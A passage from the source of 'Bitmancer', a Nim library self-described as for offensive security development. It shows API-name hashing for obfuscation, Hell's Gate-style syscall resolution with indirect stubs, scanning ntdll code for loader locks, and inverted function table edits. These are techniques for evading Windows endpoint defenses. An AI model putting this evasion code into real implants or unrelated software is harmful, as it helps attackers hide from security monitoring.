var seed: int 31 | discard parseInt(staticExec("bash -c 'echo $SRANDOM'"), seed, 0) 32 | echo "[+] Seeded with: " & $seed 33 | var rng = initRand(seed) 34 | rng.rand(uint32.high).uint32 35 | 36 | const 37 | HashSeed* = genRandomSeed() 38 | 39 | func ctDjb2*(pFuncName: static[cstring]): uint32 {.compileTime.} = 40 | result = HashSeed 41 | for c in pFuncName: 42 | result = ((result shl 0x05) + result) + ord(c).uint32 43 | 44 | func rtDjb2*(pFuncName: cstring): uint32 = 45 | result = HashSeed 46 | for c in pFuncName: 47 | result = ((result shl 0x05) + result) + ord(c).uint32 48 | 49 | func rtDjb2*(pFuncName: PCWSTR): uint32 = 50 | result = HashSeed 51 | var i = 0 52 | let ws = cast[ptr UncheckedArray[uint16]](pFuncName) 53 | while ws[i] != 0: 54 | result = ((result shl 0x05) + result) + ord(cast[char](ws[i])).uint32 55 | inc i 56 | 57 | template HASH_A*(s: cstring): uint32 = 58 | rtDjb2(s) 59 | 60 | template HASH_W*(s: PCWSTR|UNICODE_STRING): uint32 = 61 | when s is PCWSTR: 62 | rtDjb2(s) 63 | elif s is UNICODE_STRING: 64 | rtDjb2(s.Buffer) 65 | 66 | -------------------------------------------------------------------------------- /src/Bitmancer/core/enumeration/memory/procedures.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ".."/../[pe, utils] 22 | 23 | export 24 | pe 25 | 26 | func searchCallToTargetFunction*(fStart, fEnd, target: PVOID, callIndex: int): NtResult[PVOID] = 27 | var 28 | currentAddr = fStart 29 | index = 0 30 | while currentAddr != fEnd: 31 | if currentAddr.isCallInstruction(): 32 | ## Offset should be: Address of Call + Offset + Length of Instruction (0x5) 33 | let rel32 = cast[PDWORD](currentAddr +! 1)[] + 0x5 34 | if currentAddr +! rel32 == target: 35 | if index == callIndex: 36 | return ok currentAddr 37 | inc index 38 | inc currentAddr 39 | err SearchNotFound 40 | 41 | func searchCall*(fStart, fEnd: PVOID, callIndex: int): NtResult[PVOID] = 42 | var 43 | currentAddr = fStart 44 | index = 0 45 | while currentAddr != fEnd: 46 | if currentAddr.isCallInstruction(): 47 | if index == callIndex: 48 | return ok currentAddr 49 | inc index 50 | inc currentAddr 51 | err SearchNotFound 52 | 53 | func searchFunctionEnd*(imageBase: ModuleHandle, functionBase: PVOID): NtResult[PVOID] = 54 | let ExcDirectory = ? getExceptionDirectory imageBase 55 | for entry in runtimeFunctions ExcDirectory: 56 | if imageBase +% entry.BeginAddress == functionBase: 57 | return ok imageBase +% entry.EndAddress 58 | err SearchNotFound 59 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/base.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | winim/inc/windef, 22 | winim/utils 23 | 24 | ## Not sure how else to do this without copying out part of winim's base. 25 | export windef except PLDR_DATA_TABLE_ENTRY, PPEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PNT_TIB, NT_TIB, EXCEPTION_REGISTRATION_RECORD, 26 | PPEB, PEB, TEB, PTEB, PROCESS_BASIC_INFORMATION, PPROCESS_BASIC_INFORMATION, PEB_LDR_DATA, RtlPcToFileHeader, 27 | RtlInitAnsiString, RtlAnsiStringToUnicodeString, RtlAllocateHeap, RtlFreeHeap, RtlInitUnicodeString, NtQuerySystemTime, 28 | RtlHashUnicodeString, RtlFreeUnicodeString, PIMAGE_LOAD_CONFIG_DIRECTORY, RtlDeleteFunctionTable, NtQuerySystemInformation, 29 | PSYSTEM_BASIC_INFORMATION, SYSTEM_BASIC_INFORMATION, SYSTEM_INFORMATION_CLASS, MEMORY_INFORMATION_CLASS, 30 | PRTL_SRWLOCK, RTL_SRWLOCK, RtlAddVectoredExceptionHandler, NtClose, NtOpenFile, RtlCopyMemory, RtlMoveMemory, 31 | RtlCompareMemory, LoadLibrary, PRTL_USER_PROCESS_PARAMETERS, RTL_USER_PROCESS_PARAMETERS, NT_ERROR, 32 | RtlCreateHeap, NtOpenSection 33 | export utils 34 | 35 | type 36 | WindowsOSVersion* = enum 37 | OS_8_1_2012RTM 38 | OS_8_1_2012R2RTM 39 | OS_8_1_2012R2U1 40 | OS_10_Threadhold1 41 | OS_10_Threshold2 42 | OS_10_Redstone 43 | OS_10_Redstone2 44 | OS_10_Redstone3 45 | OS_10_Redstone4 46 | OS_10_Redstone5 47 | OS_10_19H1 48 | OS_10_19H2 49 | OS_10_20H1 50 | OS_10_20H2 51 | OS_10_21H1 52 | OS_10_21H2 53 | OS_11_InsiderPreview 54 | OS_11_21H2 55 | 56 | const 57 | OsVer* {.intDefine.} = OS_10_21H1 58 | 59 | 60 | -------------------------------------------------------------------------------- /src/Bitmancer/core/enumeration/memory/locks.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ".."/../[ntloader, utils], 22 | procedures 23 | 24 | export 25 | ntresult, types 26 | 27 | func enumFindLock64*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] = 28 | ## Search the target function `fStart` for the first call to the target 29 | ## function `tFunction`, then parses and grabs the lock from the preceding 30 | ## instruction loading it in to the RCX register. 31 | ## TODO: a less naive solution... 32 | let 33 | Ntdll = ? NTDLL_BASE() 34 | fEnd = ? searchFunctionEnd(Ntdll, fStart) 35 | pCall = ? searchCallToTargetFunction(fStart, fEnd, tFunction, callIndex) 36 | pLea = cast[PBYTE](pCall -! 0x7) 37 | 38 | ## Check to make sure the LEA is a rip-relative rel32 instruction to RCX. 39 | if pLea[] == 0x48 and cast[PBYTE](pLea +! 1)[] == 0x8D and cast[PBYTE](pLea +! 2)[] == 0x0D: 40 | 41 | ## Grab the rip-relative address from the lea to RCX, as that will hold the address of the lock. 42 | let 43 | dataSection = ? getDataSection Ntdll 44 | rel32 = cast[PDWORD](pLea +! 0x3)[] 45 | lock = cast[PRTL_SRWLOCK](pLea +! rel32 +! 0x7) 46 | ## Check to make sure it's contained in the data section. 47 | if lock > SECTION_START(Ntdll, dataSection) and lock < SECTION_END(Ntdll, dataSection): 48 | return ok lock 49 | 50 | err LockNotFound 51 | 52 | func enumFindLock32*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] = 53 | ## 54 | 55 | template enumFindLock*(fStart, tFunction: PVOID, callIndex: int): NtResult[PRTL_SRWLOCK] = 56 | when defined(cpu64): enumFindLock64(fStart, tFunction, callIndex) 57 | else: enumFindLock32(fStart, tFunction, callIndex) 58 | -------------------------------------------------------------------------------- /src/Bitmancer/syscalls.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | core/enumeration/memory/syscalls, 22 | syscalls/[gates, ldrthunks, zwcounter] 23 | 24 | export 25 | gates, ldrthunks, zwcounter 26 | 27 | ## NT Syscalls 28 | ## 29 | ## This module implements support for finding, parsing, and executing 30 | ## syscalls. 31 | ##------------------------------------------------------------------------ 32 | template GET_SYSCALL*( 33 | imageBase: ModuleHandle, 34 | importBase: ModuleHandle, 35 | ident: static[SomeProcIdent], 36 | symEnum: static[SymbolEnumeration], 37 | ssnEnum: static[SsnEnumeration] 38 | ): SyscallResult = 39 | checkValidOSVersionTarget(ssnEnum) 40 | when ssnEnum == SsnEnumeration.HalosGate: halosGate(imageBase, importBase, ident, symEnum) 41 | elif ssnEnum == SsnEnumeration.HellsGate: hellsGate(imageBase, importBase, ident, symEnum) 42 | elif ssnEnum == SsnEnumeration.LdrThunks: ldrThunks(imageBase, importBase, ident, symEnum) 43 | elif ssnEnum == SsnEnumeration.TartarusGate: tartarusGate(imageBase, importBase, ident, symEnum) 44 | elif ssnEnum == SsnEnumeration.ZwCounter: zwCounter(imageBase, importBase, ident, symEnum) 45 | 46 | template NT_STUB*[T](syscall: Syscall, exeEnum: static[SyscallExecution]): T = 47 | when exeEnum == SyscallExecution.Direct: cast[T](directStub) 48 | elif exeEnum == SyscallExecution.Indirect: cast[T](spoofStub) 49 | 50 | proc getNtSyscall*[T]( 51 | Ntdll: ModuleHandle, 52 | importBase: ModuleHandle, 53 | ident: static[uint32], 54 | symEnum: static[SymbolEnumeration], 55 | ssnEnum: static[SsnEnumeration], 56 | exeEnum: static[SyscallExecution] 57 | ): NtResult[NtSyscall[T]] = 58 | let 59 | sysRes = ? GET_SYSCALL(Ntdll, importBase, ident, symEnum, ssnEnum) 60 | funct = NT_STUB[T](sysRes, exeEnum) 61 | ok NtSyscall[T]( 62 | syscall: sysRes, 63 | pFunction: funct 64 | ) 65 | -------------------------------------------------------------------------------- /src/Bitmancer/ntdll/procthreads.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../syscalls 23 | 24 | export 25 | syscalls 26 | 27 | ## Compile Time Settings 28 | ##------------------------------------------------------------------------ 29 | const 30 | ## NtFlushInstructionCache Syscall Settings 31 | ##--------------------------------------------------------------------- 32 | FlushExeEnum* {.intDefine.} = SyscallExecution.Indirect 33 | FlushSsnEnum* {.intDefine.} = SsnEnumeration.ZwCounter 34 | FlushSymEnum* {.intDefine.} = SymbolEnumeration.UseEAT 35 | 36 | ## Hashes 37 | ##--------------------------------------------------------------------- 38 | const 39 | NtFlushInstructionCacheHash* = ctDjb2 "NtFlushInstructionCache" 40 | 41 | ## FlushInstructionCache / NtFlushInstructionCache 42 | ##------------------------------------------------------------------------ 43 | template getNtFlushInstructionCache*( 44 | Ntdll: ModuleHandle, 45 | importBase: ModuleHandle, 46 | symEnum: static SymbolEnumeration = FlushSymEnum, 47 | ssnEnum: static SsnEnumeration = FlushSsnEnum, 48 | exeEnum: static SyscallExecution = FlushExeEnum 49 | ): NtResult[NtSyscall[NtFlushInstructionCache]] = 50 | getNtSyscall[NtFlushInstructionCache](Ntdll, importBase, NtFlushInstructionCacheHash, symEnum, ssnEnum, exeEnum) 51 | 52 | proc ntFlushInstructionCache*(processHandle: HANDLE, baseAddress: PVOID, dwSize: SIZE_T): NtResult[void] {.discardable.} = 53 | genSyscall(NtFlushInstructionCache) 54 | let 55 | Ntdll = ? NTDLL_BASE() 56 | NtSyscall = 57 | when FlushSymEnum == SymbolEnumeration.UseEAT: 58 | ? getNtFlushInstructionCache(Ntdll, ModuleHandle(NULL)) 59 | elif FlushSymEnum == SymbolEnumeration.UseIAT: 60 | let Kernel32 = ? KERNEL32_BASE() 61 | ? getNtFlushInstructionCache(Ntdll, Kernel32) 62 | 63 | NT_RESULT NtFlushInstructionCacheWrapper( 64 | processHandle, 65 | baseAddress, 66 | dwSize, 67 | NtSyscall 68 | ): void 69 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/exceptions.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core 22 | 23 | export 24 | core 25 | 26 | ## InvertedFunctionTable 27 | ##------------------------------------ 28 | func rtlpInsertInvertedFuncTableEntry*(Ift: PINVERTED_FUNCTION_TABLE, imageBase: ModuleHandle, imageSz: SIZE_T): NtResult[void] = 29 | var index = ULONG(0) 30 | if Ift.CurrentSize != Ift.MaximumSize: 31 | 32 | if Ift.CurrentSize != 0: 33 | while index < Ift.CurrentSize: 34 | ## NTDLL Must be at index 0! 35 | if index != 0 and cast[int](imageBase) < cast[int](Ift.TableEntries[index].ImageBase): 36 | break 37 | inc index 38 | if index != Ift.CurrentSize: 39 | moveMemory( 40 | addr Ift.TableEntries[index+1], 41 | addr Ift.TableEntries[index], 42 | (Ift.CurrentSize - index) * sizeof(INVERTED_FUNCTION_TABLE_ENTRY) 43 | ) 44 | let ExcDirHeaders = ? getExceptionDirectoryHeader(imageBase) 45 | Ift.TableEntries[index].Union1.FunctionTable = EXCEPTION_DIRECTORY(imageBase, ExcDirHeaders) 46 | Ift.TableEntries[index].ImageBase = PVOID(imageBase) 47 | Ift.TableEntries[index].SizeOfImage = DWORD(imageSz) 48 | Ift.TableEntries[index].SizeOfTable = ExcDirHeaders.Size 49 | else: 50 | Ift.OverFlow = TRUE 51 | ok() 52 | 53 | func rtlpRemoveInvertedFuncTableEntry*(Ift: PINVERTED_FUNCTION_TABLE, imageBase: ModuleHandle) = 54 | for index in 0 ..< Ift.CurrentSize: 55 | if imageBase == Ift.TableEntries[index].ImageBase: 56 | if Ift.CurrentSize != 1: 57 | moveMemory( 58 | addr Ift.TableEntries[index], 59 | addr Ift.TableEntries[index+1], 60 | (Ift.CurrentSize - index - 1) * sizeof INVERTED_FUNCTION_TABLE_ENTRY 61 | ) 62 | dec Ift.CurrentSize 63 | if Ift.CurrentSize != Ift.MaximumSize: 64 | Ift.OverFlow = FALSE 65 | -------------------------------------------------------------------------------- /src/Bitmancer/loader/ldrlocks.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core/enumeration/enumeration, 23 | ldrbase 24 | 25 | export 26 | ldrbase 27 | 28 | ## Hashes 29 | ##------------------------------------------------------------------------ 30 | const 31 | LdrQueryModuleServiceTagsHash = ctDjb2 "LdrQueryModuleServiceTags" 32 | RtlInstallFunctionTableCallbackHash = ctDjb2 "RtlInstallFunctionTableCallback" 33 | 34 | ## LdrpMrdata 35 | ##------------------------------------ 36 | template LDR_WITH_MRDATA_LOCK*(body: NtResult[void]): NtResult[void] = 37 | let 38 | LdrpMrdataLock = ? getLdrpMrdataLock() 39 | locked = rtlAcquireSRWLockExclusive LdrpMrdataLock 40 | res = body 41 | if locked.isOk(): 42 | rtlReleaseSRWLockExclusive LdrpMrdataLock 43 | res 44 | 45 | proc getLdrpMrdataLock*(): NtResult[PRTL_SRWLOCK] = 46 | ## Available APIs: 47 | ## RtlAddFunctionTable 48 | ## RtlInstallFunctionTableCallback 49 | ## RtlSetProtectedPolicy 50 | ## RtlGrowFunctionTable 51 | let 52 | Ntdll = ? NTDLL_BASE() 53 | targetFunction = ? getRtlAcquireSRWLockExclusive Ntdll 54 | searchFunction = ? getProcAddress(Ntdll, RtlInstallFunctionTableCallbackHash) 55 | enumFindLock(searchFunction, targetFunction, 0) 56 | 57 | ## LdrpModuleDatatableLock 58 | ##------------------------------------ 59 | template LDR_WITH_DATATABLE_LOCK*(body: NtResult[void]): NtResult[void] = 60 | let 61 | LdrpModuleDatatableLock = ? getLdrpModuleDatatableLock() 62 | locked = rtlAcquireSRWLockExclusive LdrpModuleDatatableLock 63 | res = body 64 | if locked.isOk(): 65 | rtlReleaseSRWLockExclusive LdrpModuleDatatableLock 66 | res 67 | 68 | proc getLdrpModuleDatatableLock*(): NtResult[PRTL_SRWLOCK] = 69 | let 70 | Ntdll = ? NTDLL_BASE() 71 | targetFunction = ? getRtlAcquireSRWLockExclusive Ntdll 72 | searchFunction = ? getProcAddress(Ntdll, LdrQueryModuleServiceTagsHash) 73 | enumFindLock(searchFunction, targetFunction, 0) 74 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/cfg.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | const 21 | ## Module performs control flow integrity checks using system-supplied support 22 | IMAGE_GUARD_CF_INSTRUMENTED* = 0x00000100 23 | 24 | ## Module performs control flow and write integrity checks 25 | IMAGE_GUARD_CFW_INSTRUMENTED* = 0x00000200 26 | 27 | ## Module contains valid control flow target metadata 28 | IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT* = 0x00000400 29 | 30 | ## Module does not make use of the /GS security cookie 31 | IMAGE_GUARD_SECURITY_COOKIE_UNUSED* = 0x00000800 32 | 33 | ## Module supports read only delay load IAT 34 | IMAGE_GUARD_PROTECT_DELAYLOAD_IAT* = 0x00001000 35 | 36 | ## Delayload import table in its own .didat section (with nothing else in it) that can be freely reprotected 37 | IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION* = 0x00002000 38 | 39 | ## Module contains suppressed export information 40 | IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT* = 0x00004000 41 | 42 | ## Module enables suppression of exports 43 | IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION* = 0x00008000 44 | 45 | ## Module contains longjmp target information 46 | IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT* = 0x00010000 47 | 48 | ## Module contains return flow instrumentation and metadata 49 | IMAGE_GUARD_RF_INSTRUMENTED* = 0x00020000 50 | 51 | ## Module requests that the OS enable return flow protection 52 | IMAGE_GUARD_RF_ENABLE* = 0x00040000 53 | 54 | ## Module requests that the OS enable return flow protection in strict mode 55 | IMAGE_GUARD_RF_STRICT* = 0x00080000 56 | 57 | ## Module was built with retpoline support 58 | IMAGE_GUARD_RETPOLINE_PRESENT* = 0x00100000 59 | 60 | ## Stride of Guard CF function table encoded in these bits (additional count of bytes per element) 61 | IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK* = 0xF0000000 62 | 63 | ## Shift to right-justify Guard CF function table stride 64 | IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT* = 28 65 | -------------------------------------------------------------------------------- /src/Bitmancer/core/results.nim: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2019 Jacek Sieka 2 | # Licensed and distributed under either of 3 | # * MIT license (license terms in the root directory or at http://opensource.org/licenses/MIT). 4 | # * Apache v2 license (license terms in the root directory or at http://www.apache.org/licenses/LICENSE-2.0). 5 | # at your option. This file may not be copied, modified, or distributed except according to those terms. 6 | 7 | ## Modifyed Result type supporting position independent code. Explicitly avoiding 8 | ## exceptions, global strings, etc. 9 | ##----------------------------------------------------------------------- 10 | type 11 | Result*[T, E] = object 12 | case o*: bool 13 | of false: 14 | e: E 15 | of true: 16 | v: T 17 | 18 | template ok*[T, E](R: typedesc[Result[T, E]], x: untyped): R = 19 | R(o: true, v: x) 20 | 21 | template ok*[E](R: typedesc[Result[void, E]]): R = 22 | R(o: true) 23 | 24 | template ok*[T: not void, E](self: var Result[T, E], x: untyped) = 25 | self = ok(type self, x) 26 | 27 | template ok*[E](self: var Result[void, E]) = 28 | self = (type self).ok() 29 | 30 | template err*[T, E](R: type Result[T, E], x: untyped): R = 31 | R(o: false, e: x) 32 | 33 | template err*[T](R: type Result[T, void]): R = 34 | R(o: false) 35 | 36 | template err*[T, E](self: var Result[T, E], x: untyped) = 37 | self = err(type self, x) 38 | 39 | template err*[T](self: var Result[T, void]) = 40 | self = err(type self) 41 | 42 | template ok*(v: auto): auto = 43 | ok(typeof(result), v) 44 | 45 | template ok*(): auto = 46 | ok(typeof(result)) 47 | 48 | template err*(v: auto): auto = 49 | err(typeof(result), v) 50 | 51 | template err*(): auto = 52 | err(typeof(result)) 53 | 54 | template isOk*(self: Result): bool = 55 | self.o 56 | 57 | template isErr*(self: Result): bool = 58 | not self.o 59 | 60 | func get*[T, E](self: Result[T, E]): T {.inline.} = 61 | when T isnot void: 62 | self.v 63 | 64 | func get*[T, E](self: Result[T, E], otherwise: T): T {.inline.} = 65 | if self.o: self.v 66 | else: otherwise 67 | 68 | func get*[T: not void, E](self: var Result[T, E]): var T {.inline.} = 69 | self.v 70 | 71 | func error*[T, E](self: Result[T, E]): E = 72 | when E isnot void: 73 | self.e 74 | 75 | template value*[T, E](self: Result[T, E]): T = 76 | self.get() 77 | 78 | template value*[T: not void, E](self: var Result[T, E]): var T = 79 | self.get() 80 | 81 | template valueOr*[T: not void, E](self: Result[T, E], def: untyped): T = 82 | let s = (self) 83 | if s.o: 84 | s.v 85 | else: 86 | when E isnot void: 87 | template error: E {.used, inject.} = s.e 88 | def 89 | 90 | template `?`*[T, E](self: Result[T, E]): auto = 91 | let v = (self) 92 | if not v.o: 93 | when typeof(result) is typeof(v): 94 | return v 95 | else: 96 | when E is void: 97 | return err(typeof(result)) 98 | else: 99 | return err(typeof(result), v.e) 100 | 101 | when not(T is void): 102 | v.v 103 | 104 | 105 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/heap.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core 23 | 24 | export 25 | core 26 | 27 | ## Heap APIs 28 | ##------------------------------------------------------------------------ 29 | 30 | ## Hashes 31 | ##--------------------------------------------------------------------- 32 | const 33 | RtlAllocateHeapHash* = ctDjb2 "RtlAllocateHeap" 34 | RtlCreateHeapHash* = ctDjb2 "RtlCreateHeap" 35 | RtlFreeHeapHash* = ctDjb2 "RtlFreeHeap" 36 | 37 | ## Helpers 38 | ##--------------------------------------------------------------------- 39 | template PROCESS_HEAP_ALLOC*(T: typedesc): NtResult[PVOID] = 40 | rtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(T)) 41 | 42 | template PROCESS_HEAP_ALLOC*(sz: SIZE_T): NtResult[PVOID] = 43 | rtlAllocateHeap(rtlProcessHeap(), HEAP_ZERO_MEMORY, sz) 44 | 45 | template PROCESS_HEAP_FREE*(mem: PVOID): NtResult[void] = 46 | rtlFreeHeap(rtlProcessHeap(), 0, mem) 47 | 48 | ## RtlAllocateHeap 49 | ##------------------------------------ 50 | proc getRtlAllocateHeap*(Ntdll: ModuleHandle): NtResult[RtlAllocateHeap] {.inline.} = 51 | let f = ? getProcAddress(Ntdll, RtlAllocateHeapHash) 52 | ok cast[RtlAllocateHeap](f) 53 | 54 | proc rtlAllocateHeap*(hHeap: HANDLE, dwFlags: ULONG, size: SIZE_T): NtResult[PVOID] = 55 | let 56 | Ntdll = ? NTDLL_BASE() 57 | pRtlAllocateHeap = ? getRtlAllocateHeap Ntdll 58 | pHeapAlloc = pRtlAllocateHeap(hHeap, dwFlags, size) 59 | if not pHeapAlloc.isNil(): 60 | ok pHeapAlloc 61 | else: 62 | err ProcedureFailure 63 | 64 | ## RtlCreateHeap 65 | ##------------------------------------ 66 | proc getRtlCreateHeap*(Ntdll: ModuleHandle): NtResult[RtlCreateHeap] {.inline.} = 67 | let f = ? getProcAddress(Ntdll, RtlCreateHeapHash) 68 | ok cast[RtlCreateHeap](f) 69 | 70 | 71 | ## RtlFreeHeap 72 | ##------------------------------------ 73 | proc getRtlFreeHeap*(Ntdll: ModuleHandle): NtResult[RtlFreeHeap] {.inline.} = 74 | let f = ? getProcAddress(Ntdll, RtlFreeHeapHash) 75 | ok cast[RtlFreeHeap](f) 76 | 77 | proc rtlFreeHeap*(hHeap: HANDLE, dwFlags: ULONG, pAllocMemory: PVOID): NtResult[void] {.discardable.} = 78 | let 79 | Ntdll = ? NTDLL_BASE() 80 | pRtlFreeHeap = ? getRtlFreeHeap Ntdll 81 | 82 | if pRtlFreeHeap(hHeap, dwFlags, pAllocMemory) == 1: 83 | ok() 84 | else: 85 | err ProcedureFailure 86 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/exceptions.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | 